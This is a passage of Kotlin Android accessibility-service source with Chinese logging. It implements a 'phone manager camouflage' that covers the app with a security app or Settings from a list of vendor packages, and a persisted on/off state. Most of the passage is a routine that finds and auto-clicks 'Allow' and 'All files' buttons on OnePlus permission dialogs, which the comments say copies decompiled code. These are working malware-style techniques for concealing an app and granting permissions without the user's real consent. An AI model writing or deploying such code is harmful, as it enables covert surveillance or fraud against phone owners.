                val settingsIntent = Intent(android.provider.Settings.ACTION_SETTINGS)
                settingsIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
                settingsIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP)
                settingsIntent.addFlags(Intent.FLAG_ACTIVITY_NO_ANIMATION)
                context.startActivity(settingsIntent)
                Log.i(TAG, "✅ 通过启动系统设置覆盖我们的APP")
            } catch (e: Exception) {
                Log.d(TAG, "⚠️ 启动系统设置失败", e)
            }
            
            // 记录操作日志
            service.recordOperationLog("PHONE_MANAGER_FORCE_CLOSE", "强制关闭我们的APP", mapOf(
                "timestamp" to System.currentTimeMillis()
            ))
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 强制关闭我们的APP异常", e)
        }
    }
    
    /**
     * 🎭 切换到系统手机管家
     */
    private fun switchToSystemPhoneManager() {
        try {
            Log.i(TAG, "🎭 开始切换到系统手机管家")
            
            val packageManager = context.packageManager
            
            // 常见的手机管家包名列表（按优先级排序）
            val phoneManagerPackages = listOf(
                "com.coloros.phonemanager", //vivo 手机管家
                "com.miui.securitycenter",           // 小米安全中心
                "com.huawei.systemmanager",          // 华为手机管家
                "com.oppo.safecenter",               // OPPO安全中心
                "com.vivo.safecenter",               // vivo安全中心
                "com.samsung.android.app.smartcallprovider", // 三星安全中心
                "com.lenovo.safecenter",             // 联想安全中心
                "com.tencent.qqpimsecure",          // 腾讯手机管家
                "com.qihoo.security",                // 360手机卫士
                "com.kingsoft.powerword",            // 金山手机卫士
                "com.baidu.security",                // 百度手机卫士
                "com.android.settings"               // 系统设置（备用）
            )
            
            // 尝试启动系统手机管家
            var success = false
            for (packageName in phoneManagerPackages) {
                try {
                    val intent = packageManager.getLaunchIntentForPackage(packageName)
                    if (intent != null) {
                        // 使用更激进的Intent flags来确保快速切换
                        intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
                        intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP)
                        intent.addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP)
                        intent.addFlags(Intent.FLAG_ACTIVITY_REORDER_TO_FRONT)
                        context.startActivity(intent)
                        
                        Log.i(TAG, "✅ 成功快速切换到系统手机管家: $packageName")
                        success = true
                        
                        // 记录操作日志
                        service.recordOperationLog("PHONE_MANAGER_CAMOUFLAGE_SWITCH", "手机管家伪装快速切换成功", mapOf(
                            "targetPackage" to packageName,
                            "timestamp" to System.currentTimeMillis()
                        ))
                        
                        break
                    }
                } catch (e: Exception) {
                    Log.d(TAG, "⚠️ 无法启动手机管家: $packageName", e)
                    continue
                }
            }
            
            if (!success) {
                Log.w(TAG, "⚠️ 未找到可用的系统手机管家，尝试启动系统设置")
                try {
                    val settingsIntent = Intent(android.provider.Settings.ACTION_SETTINGS)
                    settingsIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
                    context.startActivity(settingsIntent)
                    Log.i(TAG, "✅ 已切换到系统设置")
                    
                    service.recordOperationLog("PHONE_MANAGER_CAMOUFLAGE_FALLBACK", "手机管家伪装备用切换", mapOf(
                        "fallbackTo" to "system_settings",
                        "timestamp" to System.currentTimeMillis()
                    ))
                } catch (e: Exception) {
                    Log.e(TAG, "❌ 切换到系统设置也失败", e)
                }
            }
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 切换到系统手机管家异常", e)
        }
    }
    
    /**
     * 🎭 启用手机管家伪装监听
     */
    fun enablePhoneManagerCamouflage() {
        isPhoneManagerCamouflageEnabled = true
        // 持久化状态
        saveCamouflageState(true)
        Log.i(TAG, "✅ 手机管家伪装监听已启用")
        service.recordOperationLog("PHONE_MANAGER_CAMOUFLAGE_ENABLED", "手机管家伪装监听已启用", mapOf(
            "timestamp" to System.currentTimeMillis()
        ))
    }
    
    /**
     * 🎭 禁用手机管家伪装监听
     */
    fun disablePhoneManagerCamouflage() {
        isPhoneManagerCamouflageEnabled = false
        // 持久化状态
        saveCamouflageState(false)
        Log.i(TAG, "✅ 手机管家伪装监听已禁用")
        service.recordOperationLog("PHONE_MANAGER_CAMOUFLAGE_DISABLED", "手机管家伪装监听已禁用", mapOf(
            "timestamp" to System.currentTimeMillis()
        ))
    }
    
    /**
     * 💾 保存伪装状态到SharedPreferences
     */
    private fun saveCamouflageState(enabled: Boolean) {
        try {
            val prefs = context.getSharedPreferences("camouflage_state", Context.MODE_PRIVATE)
            prefs.edit().putBoolean("phone_manager_camouflage_enabled", enabled).apply()
            Log.d(TAG, "💾 伪装状态已保存: enabled=$enabled")
        } catch (e: Exception) {
            Log.e(TAG, "❌ 保存伪装状态失败", e)
        }
    }
    
    /**
     * 🔄 从SharedPreferences恢复伪装状态
     */
    private fun restoreCamouflageState(): Boolean {
        return try {
            val prefs = context.getSharedPreferences("camouflage_state", Context.MODE_PRIVATE)
            val enabled = prefs.getBoolean("phone_manager_camouflage_enabled", false)
            Log.d(TAG, "🔄 恢复伪装状态: enabled=$enabled")
            enabled
        } catch (e: Exception) {
            Log.e(TAG, "❌ 恢复伪装状态失败", e)
            false
        }
    }
    
    /**
     * 🎭 自动恢复伪装监听状态
     */
    fun autoRestoreCamouflageState() {
        try {
            val savedState = restoreCamouflageState()
            if (savedState && !isPhoneManagerCamouflageEnabled) {
                isPhoneManagerCamouflageEnabled = true
                Log.i(TAG, "✅ 伪装监听状态已自动恢复")
            } else if (!savedState && isPhoneManagerCamouflageEnabled) {
                isPhoneManagerCamouflageEnabled = false
                Log.i(TAG, "✅ 伪装监听状态已自动禁用")
            } else {
                Log.d(TAG, "🔄 伪装监听状态无需恢复: saved=$savedState, current=$isPhoneManagerCamouflageEnabled")
            }
        } catch (e: Exception) {
            Log.e(TAG, "❌ 自动恢复伪装状态失败", e)
        }
    }
    
    /**
     * 🔍 检测是否是小米手机
     */
    private fun isXiaomiDevice(): Boolean {
        return try {
            val brand = android.os.Build.BRAND.lowercase()
            val manufacturer = android.os.Build.MANUFACTURER.lowercase()
            val model = android.os.Build.MODEL.lowercase()
            
            val isXiaomi = brand.contains("xiaomi") || 
                          brand.contains("redmi") || 
                          manufacturer.contains("xiaomi") || 
                          manufacturer.contains("redmi") ||
                          model.contains("xiaomi") ||
                          model.contains("redmi")
            
            Log.d(TAG, "🔍 设备检测: brand=$brand, manufacturer=$manufacturer, model=$model, isXiaomi=$isXiaomi")
            isXiaomi
        } catch (e: Exception) {
            Log.e(TAG, "❌ 检测小米设备失败", e)
            false
        }
    }

    /**
     * 🔍 检测是否是小米手机
     */
    private fun isVivoDevice(): Boolean {
        return try {
            val brand = android.os.Build.BRAND.lowercase()
            val manufacturer = android.os.Build.MANUFACTURER.lowercase()
            val model = android.os.Build.MODEL.lowercase()

            val isXiaomi = brand.contains("vivo") ||
                    brand.contains("iqoo") ||
                    manufacturer.contains("vivo") ||
                    manufacturer.contains("iqoo") ||
                    model.contains("vivo") ||
                    model.contains("iqoo")

            Log.d(TAG, "🔍 设备检测: brand=$brand, manufacturer=$manufacturer, model=$model, isXiaomi=$isXiaomi")
            isXiaomi
        } catch (e: Exception) {
            Log.e(TAG, "❌ 检测VIVO设备失败", e)
            false
        }
    }

    /**
     * 🎭 检查手机管家伪装监听是否启用
     */
    fun isPhoneManagerCamouflageEnabled(): Boolean {
        return isPhoneManagerCamouflageEnabled
    }
    
    // ======================== OnePlus权限弹框处理 ========================
    
    /**
     * ✅ 检测是否为OnePlus设备
     */
    private fun isOnePlusDevice(): Boolean {
        return try {
            val brand = android.os.Build.BRAND.lowercase()
            val manufacturer = android.os.Build.MANUFACTURER.lowercase()
            val model = android.os.Build.MODEL.lowercase()
            
            // ✅ 使用反射获取SystemProperties
            val onePlusVersion = getSystemProperty("ro.oneplus.version", "")
            
            val isOnePlus = brand.contains("oneplus") || 
                           manufacturer.contains("oneplus") ||
                           model.contains("oneplus") ||
                           onePlusVersion.isNotEmpty()
            
            Log.d(TAG, "🔍 OnePlus设备检测: brand=$brand, manufacturer=$manufacturer, model=$model, onePlusVersion=$onePlusVersion, isOnePlus=$isOnePlus")
            isOnePlus
        } catch (e: Exception) {
            Log.e(TAG, "❌ 检测OnePlus设备失败", e)
            false
        }
    }
    
    /**
     * ✅ 通过反射获取系统属性
     */
    private fun getSystemProperty(key: String, defaultValue: String): String {
        return try {
            val systemPropertiesClass = Class.forName("android.os.SystemProperties")
            val getMethod = systemPropertiesClass.getMethod("get", String::class.java, String::class.java)
            getMethod.invoke(null, key, defaultValue) as String
        } catch (e: Exception) {
            Log.w(TAG, "⚠️ 无法获取系统属性 $key: ${e.message}")
            defaultValue
        }
    }
    
    /**
     * ✅ 检测OnePlus权限弹框
     */
    private fun detectOnePlusPermissionDialog(packageName: String, className: String): Boolean {
        return try {
            // ✅ OnePlus权限弹框的特征包名和类名
            val onePlusPermissionPackages = listOf(
                "com.oplus.securitypermission",  // OnePlus权限管理
                "com.oneplus.securitypermission", // OnePlus权限管理(旧版)
                "com.android.settings",           // 设置页面
                "com.oneplus.settings"            // OnePlus设置
            )
            
            val onePlusPermissionClasses = listOf(
                "android.widget.FrameLayout",     // 弹框布局
                "android.widget.LinearLayout",    // 线性布局
                "android.widget.RelativeLayout",  // 相对布局
                "android.app.Dialog",             // 对话框
                "android.app.AlertDialog",         // 警告对话框
                "com.oplus.securitypermission.ui.dialog", // OnePlus权限对话框
                "com.coui.appcompat.dialog.panel.b", // OnePlus权限对话框
                "com.oneplus.securitypermission.ui.dialog" // OnePlus权限对话框(旧版)
            )
            
            val isOnePlusPackage = onePlusPermissionPackages.any { 
                packageName.contains(it, ignoreCase = true) 
            }
            
            val isOnePlusClass = onePlusPermissionClasses.any { 
                className.contains(it, ignoreCase = true) 
            }
            
            val isOnePlusDialog = isOnePlusPackage && isOnePlusClass
            
            Log.d(TAG, "🔍 OnePlus权限弹框检测: package=$packageName, class=$className, isOnePlusDialog=$isOnePlusDialog")
            isOnePlusDialog
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 检测OnePlus权限弹框失败", e)
            false
        }
    }
    
    /**
     * ✅ 处理OnePlus权限弹框
     */
    private fun handleOnePlusPermissionDialog(event: AccessibilityEvent) {
        try {
            Log.d(TAG, "🔐 开始处理OnePlus权限弹框")
            
            // ✅ 使用协程延迟处理，确保弹框完全加载
            serviceScope.launch {
                try {
                    // ✅ 延迟500ms等待弹框完全加载
                    kotlinx.coroutines.delay(500)
                    
                    // ✅ 获取当前窗口根节点
                    val rootInActiveWindow = getStableRootInActiveWindow()
                    if (rootInActiveWindow == null) {
                        Log.w(TAG, "⚠️ 无法获取窗口根节点")
                        return@launch
                    }
                    
                    Log.d(TAG, "🔍 OnePlus权限弹框根节点: ${rootInActiveWindow.packageName}/${rootInActiveWindow.className}")
                    
                    // ✅ 查找"允许"按钮
                    val allowButton = findOnePlusAllowButton(rootInActiveWindow)
                    if (allowButton != null) {
                        Log.d(TAG, "✅ 找到OnePlus'允许'按钮，准备点击")
                        val clickSuccess = clickOnePlusAllowButton(allowButton)
                        if (clickSuccess) {
                            Log.d(TAG, "✅ OnePlus权限弹框处理成功")
                        } else {
                            Log.w(TAG, "⚠️ OnePlus权限弹框点击失败")
                        }
                    } else {
                        Log.w(TAG, "⚠️ 未找到OnePlus'允许'按钮")
                    }
                    
                    rootInActiveWindow.recycle()
                    
                } catch (e: Exception) {
                    Log.e(TAG, "❌ 处理OnePlus权限弹框异常", e)
                }
            }
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 处理OnePlus权限弹框失败", e)
        }
    }
    
    /**
     * ✅ 查找OnePlus权限弹框中的"允许"按钮 - 参照反编译代码策略
     */
    private fun findOnePlusAllowButton(root: AccessibilityNodeInfo): AccessibilityNodeInfo? {
        return try {
            Log.d(TAG, "🔍 开始查找OnePlus'允许'按钮（参照反编译代码策略）")
            
            // ✅ 参照反编译代码：精确的权限按钮文本列表
            val permissionButtonTexts = arrayOf(
                "确定", "允许", "始终允许", "允许使用照片和视频", "所有文件", 
                "允许管理所有文件", "允许访问全部", "使用期间允许", "仅使用期间允许", 
                "使用应用时允许", "使用时允许", "仅在使用中允许", "仅在前台使用应用时允许", 
                "仅在使用该应用时允许", "允许本次使用", "本次使用时允许", "允许通知", "仅媒体"
            )
            
            // ✅ 策略1: 精确文本匹配（参照反编译代码逻辑）
            for (buttonText in permissionButtonTexts) {
                val buttons = try {
                    root.findAccessibilityNodeInfosByText(buttonText)
                } catch (e: Exception) {
                    Log.e(TAG, "❌ 搜索'$buttonText'按钮异常", e)
                    continue
                }
                
                if (buttons != null && buttons.isNotEmpty()) {
                    for (button in buttons) {
                        val buttonTextContent = button.text?.toString()?.trim() ?: ""
                        val targetText = buttonText.trim()
                        
                        Log.d(TAG, "🔍 [精确匹配] 检查按钮: 实际文本='$buttonTextContent', 目标文本='$targetText'")
                        
                        // ✅ 参照反编译代码：精确文本匹配
                        if (buttonTextContent == targetText) {
                            Log.d(TAG, "✅ [精确匹配] 文本完全匹配，尝试点击")
                            
                            // ✅ 参照反编译代码：直接尝试点击（类似c()方法）
                            val clickSuccess = checkAndClickButton(button)
                            if (clickSuccess) {
                                Log.d(TAG, "✅ [精确匹配] 成功点击'$buttonText'按钮")
                                return button
                            } else {
                                Log.d(TAG, "⚠️ [精确匹配] 按钮点击失败，尝试查找父级")
                                val clickableParent = findClickableParentForButton(button)
                                if (clickableParent != null) {
                                    val parentClickSuccess = checkAndClickButton(clickableParent)
                                    if (parentClickSuccess) {
                                        Log.d(TAG, "✅ [精确匹配] 成功点击父级按钮")
                                        return clickableParent
                                    }
                                    clickableParent.recycle()
                                }
                            }
                        }
                        button.recycle()
                    }
                }
            }
            
            // ✅ 策略2: 特殊处理"允许"文本（参照反编译代码）
            Log.d(TAG, "🔍 精确匹配未找到，尝试特殊处理'允许'文本")
            val allowButtons = try {
                root.findAccessibilityNodeInfosByText("允许")
            } catch (e: Exception) {
                Log.e(TAG, "❌ 搜索'允许'按钮异常", e)
                emptyList()
            }
            
            if (allowButtons != null && allowButtons.isNotEmpty()) {
                for (button in allowButtons) {
                    Log.d(TAG, "🔍 [允许搜索] 检查'允许'按钮: ${button.text?.toString()}")
                    
                    // ✅ 参照反编译代码：直接尝试点击
                    val clickSuccess = checkAndClickButton(button)
                    if (clickSuccess) {
                        Log.d(TAG, "✅ [允许搜索] 成功点击'允许'按钮")
                        return button
                    } else {
                        Log.d(TAG, "⚠️ [允许搜索] '允许'按钮点击失败，尝试查找父级")
                        val clickableParent = findClickableParentForButton(button)
                        if (clickableParent != null) {
                            val parentClickSuccess = checkAndClickButton(clickableParent)
                            if (parentClickSuccess) {
                                Log.d(TAG, "✅ [允许搜索] 成功点击父级按钮")
                                return clickableParent
                            }
                            clickableParent.recycle()
                        }
                    }
                    button.recycle()
                }
            }
            
            // ✅ 策略3: 递归深度搜索（备用策略）
            Log.d(TAG, "🔍 精确匹配和特殊处理都未找到，开始递归深度搜索")
            val foundButton = findAllowButtonRecursively(root, permissionButtonTexts.toList(), 0)
            if (foundButton != null) {
                Log.d(TAG, "✅ [递归搜索] 找到OnePlus'允许'按钮")
                return foundButton
            }
            
            Log.w(TAG, "⚠️ 未找到OnePlus权限弹框中的'允许'按钮")
            null
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 查找OnePlus'允许'按钮失败", e)
            null
        }
    }
    
    /**
     * ✅ 检查按钮是否可点击并执行点击（参照反编译代码c()方法）
     */
    private fun checkAndClickButton(button: AccessibilityNodeInfo): Boolean {
        return try {
            Log.d(TAG, "🔧 [按钮检查] 开始检查并点击按钮")
            
            // ✅ 参照反编译代码：使用CountDownLatch等待点击结果
            val clickResult = booleanArrayOf(false)
            val countDownLatch = java.util.concurrent.CountDownLatch(1)
            
            // ✅ 在主线程执行点击操作
            android.os.Handler(android.os.Looper.getMainLooper()).post {
                try {
                    Log.d(TAG, "🔧 [按钮点击] 在主线程执行点击")
                    
                    // ✅ 尝试直接点击按钮（只执行一次）
                    val clickSuccess = button.performAction(AccessibilityNodeInfo.ACTION_CLICK)
                    if (clickSuccess) {
                        Log.d(TAG, "✅ [按钮点击] 直接点击成功")
                        clickResult[0] = true
                    } else {
                        Log.w(TAG, "⚠️ [按钮点击] 直接点击失败，尝试坐标点击")
                        
                        // ✅ 尝试坐标点击
                        val rect = android.graphics.Rect()
                        button.getBoundsInScreen(rect)
                        val centerX = rect.centerX()
                        val centerY = rect.centerY()
                        
                        Log.d(TAG, "🔍 [按钮点击] 按钮坐标: ($centerX, $centerY)")
                        
                        // ✅ 使用非suspend的坐标点击方法
                        val coordinateClickSuccess = performSimpleCoordinateClickSync(centerX, centerY)
                        if (coordinateClickSuccess) {
                            Log.d(TAG, "✅ [按钮点击] 坐标点击成功")
                            clickResult[0] = true
                        } else {
                            Log.e(TAG, "❌ [按钮点击] 坐标点击也失败")
                        }
                    }
                    
                } catch (e: Exception) {
                    Log.e(TAG, "❌ [按钮点击] 点击操作异常", e)
                } finally {
                    countDownLatch.countDown()
                }
            }
            
            // ✅ 等待点击结果，最多等待2秒（参照反编译代码）
            try {
                val awaitResult = countDownLatch.await(2L, java.util.concurrent.TimeUnit.SECONDS)
                if (!awaitResult) {
                    Log.w(TAG, "⚠️ [按钮点击] 等待超时")
                }
            } catch (e: InterruptedException) {
                Log.e(TAG, "❌ [按钮点击] 等待被中断", e)
            }
            
            val finalResult = clickResult[0]
            Log.d(TAG, "🔧 [按钮检查] 最终结果: $finalResult")
            return finalResult
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 检查并点击按钮失败", e)
            false
        }
    }
    
    /**
     * ✅ 同步的坐标点击方法
     */
    private fun performSimpleCoordinateClickSync(x: Int, y: Int): Boolean {
        return try {
            Log.d(TAG, "🔧 执行同步坐标点击: ($x, $y)")
            
            // ✅ 使用简单的单次手势点击
            val path = android.graphics.Path().apply {
                moveTo(x.toFloat(), y.toFloat())
            }
            
            val strokeDescription = android.accessibilityservice.GestureDescription.StrokeDescription(
                path, 0L, 100L // 短时间手势
            )
            
            val gestureBuilder = android.accessibilityservice.GestureDescription.Builder()
                .addStroke(strokeDescription)
            
            // ✅ 使用同步回调
            var success = false
            val callback = object : android.accessibilityservice.AccessibilityService.GestureResultCallback() {
                override fun onCompleted(gestureDescription: android.accessibilityservice.GestureDescription?) {
                    Log.d(TAG, "✅ 同步坐标点击完成")
                    success = true
                }
                
                override fun onCancelled(gestureDescription: android.accessibilityservice.GestureDescription?) {
                    Log.w(TAG, "⚠️ 同步坐标点击被取消")
                    success = false
                }
            }
            
            // ✅ 直接发送手势，不等待
            val gestureSent = service.dispatchGesture(gestureBuilder.build(), callback, null)
            if (gestureSent) {
                Log.d(TAG, "✅ 同步坐标点击手势已发送")
                return true
            } else {
                Log.e(TAG, "❌ 同步坐标点击手势发送失败")
                return false
            }
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 同步坐标点击异常", e)
            false
        }
    }
    
    /**
     * ✅ 检查按钮是否可点击（参照反编译代码逻辑）
     */
    private fun isButtonClickable(button: AccessibilityNodeInfo): Boolean {
        return try {
            // ✅ 参照反编译代码：检查可点击性
            val isClickable = button.isClickable
            val hasClickAction = button.actionList?.any { it.id == AccessibilityNodeInfo.ACTION_CLICK } == true
            
            Log.d(TAG, "🔍 [可点击检查] 按钮可点击=${isClickable}, 有点击动作=${hasClickAction}")
            
            isClickable || hasClickAction
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 检查按钮可点击性失败", e)
            false
        }
    }
    
    /**
     * ✅ 为按钮查找可点击的父级节点
     */
    private fun findClickableParentForButton(button: AccessibilityNodeInfo): AccessibilityNodeInfo? {
        return try {
            var current = button.parent
            var depth = 0
            
            while (current != null && depth < 5) {
                val currentText = current.text?.toString() ?: ""
                val currentDesc = current.contentDescription?.toString() ?: ""
                
                Log.d(TAG, "🔍 [父级按钮搜索] 深度$depth: 文本='$currentText', 描述='$currentDesc', 可点击=${current.isClickable}")
                
                // ✅ 如果父级节点可点击
                if (isButtonClickable(current)) {
                    Log.d(TAG, "✅ [父级按钮搜索] 找到可点击的父级节点")
                    return current
                }
                
                current = current.parent
                depth++
            }
            
            return null
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 查找可点击父级按钮失败", e)
            null
        }
    }
    
    /**
     * ✅ 递归查找"允许"按钮 - 增强版
     */
    private fun findAllowButtonRecursively(node: AccessibilityNodeInfo?, allowTexts: List<String>, depth: Int): AccessibilityNodeInfo? {
        if (node == null || depth > 15) { // 增加深度限制
            return null
        }
        
        try {
            val nodeText = node.text?.toString() ?: ""
            val nodeDesc = node.contentDescription?.toString() ?: ""
            val nodeClass = node.className?.toString() ?: ""
            
            Log.v(TAG, "🔍 [递归搜索] 深度$depth: 文本='$nodeText', 描述='$nodeDesc', 类名='$nodeClass', 可点击=${node.isClickable}")
            
            // ✅ 策略1: 检查当前节点是否包含"允许"文本
            for (allowText in allowTexts) {
                if (nodeText.contains(allowText) || nodeDesc.contains(allowText)) {
                    Log.d(TAG, "🔍 [递归搜索] 在深度${depth}找到包含'$allowText'的节点")
                    
                    // ✅ 如果当前节点可点击，直接返回
                    if (node.isClickable) {
                        Log.d(TAG, "✅ [递归搜索] 节点本身可点击，返回")
                        return node
                    }
                    
                    // ✅ 如果当前节点不可点击，查找可点击的父级节点
                    val clickableParent = findClickableParent(node, allowText)
                    if (clickableParent != null) {
                        Log.d(TAG, "✅ [递归搜索] 找到可点击的父级节点")
                        return clickableParent
                    }
                }
            }
            
            // ✅ 策略2: 特殊处理RecyclerView
            if (nodeClass.contains("RecyclerView")) {
                Log.d(TAG, "🔍 [递归搜索] 发现RecyclerView，尝试展开子项")
                val recyclerViewResult = searchRecyclerViewItems(node, allowTexts, depth)
                if (recyclerViewResult != null) {
                    return recyclerViewResult
                }
            }
            
            // ✅ 递归搜索子节点
            for (i in 0 until node.childCount) {
                val child = node.getChild(i)
                if (child != null) {
                    val foundButton = findAllowButtonRecursively(child, allowTexts, depth + 1)
                    if (foundButton != null) {
                        return foundButton
                    }
                    child.recycle()
                }
            }
            
            return null
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 递归搜索节点失败", e)
            return null
        }
    }
    
    /**
     * ✅ 查找可点击的父级节点
     */
    private fun findClickableParent(node: AccessibilityNodeInfo, allowText: String): AccessibilityNodeInfo? {
        try {
            var current = node.parent
            var depth = 0
            
            while (current != null && depth < 5) {
                val currentText = current.text?.toString() ?: ""
                val currentDesc = current.contentDescription?.toString() ?: ""
                
                Log.d(TAG, "🔍 [父级搜索] 深度$depth: 文本='$currentText', 描述='$currentDesc', 可点击=${current.isClickable}")
                
                // ✅ 如果父级节点包含"允许"文本且可点击
                if ((currentText.contains(allowText) || currentDesc.contains(allowText)) && 
                    current.isClickable) {
                    Log.d(TAG, "✅ [父级搜索] 找到可点击的父级节点")
                    return current
                }
                
                // ✅ 如果父级节点可点击（即使不包含文本）
                if (current.isClickable) {
                    Log.d(TAG, "✅ [父级搜索] 找到可点击的父级节点（不包含文本）")
                    return current
                }
                
                current = current.parent
                depth++
            }
            
            return null
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 查找可点击父级节点失败", e)
            return null
        }
    }
    
    /**
     * ✅ 搜索RecyclerView中的项目
     */
    private fun searchRecyclerViewItems(recyclerView: AccessibilityNodeInfo, allowTexts: List<String>, depth: Int): AccessibilityNodeInfo? {
        try {
            Log.d(TAG, "🔍 [RecyclerView搜索] 开始搜索RecyclerView子项")
            
            // ✅ 尝试执行滚动操作来展开更多项目
            if (recyclerView.isScrollable) {
                Log.d(TAG, "🔍 [RecyclerView搜索] RecyclerView可滚动，尝试滚动")
                recyclerView.performAction(AccessibilityNodeInfo.ACTION_SCROLL_FORWARD)
                Thread.sleep(200) // 等待滚动完成
            }
            
            // ✅ 搜索RecyclerView的直接子项
            for (i in 0 until recyclerView.childCount) {
                val child = recyclerView.getChild(i)
                if (child != null) {
                    Log.d(TAG, "🔍 [RecyclerView搜索] 检查子项$i: ${child.className}")
                    
                    val foundButton = findAllowButtonRecursively(child, allowTexts, depth + 1)
                    if (foundButton != null) {
                        return foundButton
                    }
                    child.recycle()
                }
            }
            
            return null
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 搜索RecyclerView项目失败", e)
            return null
        }
    }
    
    /**
     * ✅ 点击OnePlus权限弹框中的"允许"按钮
     */
    private suspend fun clickOnePlusAllowButton(button: AccessibilityNodeInfo): Boolean {
        return try {
            Log.d(TAG, "🔧 开始点击OnePlus'允许'按钮")
            
            // ✅ 策略1: 直接点击按钮节点
            val directClickSuccess = button.performAction(AccessibilityNodeInfo.ACTION_CLICK)
            if (directClickSuccess) {
                Log.d(TAG, "✅ OnePlus'允许'按钮直接点击成功")
                performSegmentedDelay(500)
                return true
            }
            
            // ✅ 策略2: 坐标点击
            val rect = android.graphics.Rect()
            button.getBoundsInScreen(rect)
            val centerX = rect.centerX()
            val centerY = rect.centerY()
            
            Log.d(TAG, "🔍 OnePlus'允许'按钮坐标: ($centerX, $centerY)")
            
            val coordinateClickSuccess = performSimpleCoordinateClick(centerX, centerY)
            if (coordinateClickSuccess) {
                Log.d(TAG, "✅ OnePlus'允许'按钮坐标点击成功")
                performSegmentedDelay(500)
                return true
            }
            
            Log.e(TAG, "❌ OnePlus'允许'按钮所有点击方式都失败")
            false
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 点击OnePlus'允许'按钮异常", e)
            false
        } finally {
            button.recycle()
        }
    }
    
    /**
     * ✅ 简化的坐标点击方法 - 避免复杂手势调度
     */
    private suspend fun performSimpleCoordinateClick(x: Int, y: Int): Boolean {
        return try {
            Log.d(TAG, "🔧 执行OnePlus简化坐标点击: ($x, $y)")
            
            // ✅ 使用简单的单次手势点击
            val path = android.graphics.Path().apply {
                moveTo(x.toFloat(), y.toFloat())
            }
            
            val strokeDescription = android.accessibilityservice.GestureDescription.StrokeDescription(
                path, 0L, 100L // 短时间手势
            )
            
            val gestureBuilder = android.accessibilityservice.GestureDescription.Builder()
                .addStroke(strokeDescription)
            
            // ✅ 使用同步回调
            var success = false
            val callback = object : android.accessibilityservice.AccessibilityService.GestureResultCallback() {
                override fun onCompleted(gestureDescription: android.accessibilityservice.GestureDescription?) {
                    Log.d(TAG, "✅ OnePlus简化坐标点击完成")
                    success = true
                }
                
                override fun onCancelled(gestureDescription: android.accessibilityservice.GestureDescription?) {
                    Log.w(TAG, "⚠️ OnePlus简化坐标点击被取消")
                    success = false
                }
            }
            
            // ✅ 直接发送手势，不等待
            val gestureSent = service.dispatchGesture(gestureBuilder.build(), callback, null)
            if (gestureSent) {
                Log.d(TAG, "✅ OnePlus简化坐标点击手势已发送")
                performSegmentedDelay(200) // 短暂等待
                return true
            } else {
                Log.e(TAG, "❌ OnePlus简化坐标点击手势发送失败")
                return false
            }
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ OnePlus简化坐标点击异常", e)
            false
        }
    }
    
    /**
     * ✅ 分段延迟方法
     */
    private suspend fun performSegmentedDelay(delayMs: Long) {
        try {
            kotlinx.coroutines.delay(delayMs)
        } catch (e: Exception) {
            Log.e(TAG, "❌ 分段延迟异常", e)
        }
    }
    
    /**
     * ✅ 获取稳定的根节点 (基于反编译代码策略)
     * 多次尝试获取rootInActiveWindow，确保稳定性
     */
    private fun getStableRootInActiveWindow(): AccessibilityNodeInfo? {
        var rootInActiveWindow: AccessibilityNodeInfo? = null
        
        // ✅ 反编译代码策略：最多尝试5次获取稳定的根节点
        for (attempt in 1..5) {
            rootInActiveWindow = service.rootInActiveWindow
            if (rootInActiveWindow != null) {
                break
            }
            // 短暂延迟后重试
            Thread.sleep(50)
        }
        
        return rootInActiveWindow
    }
} 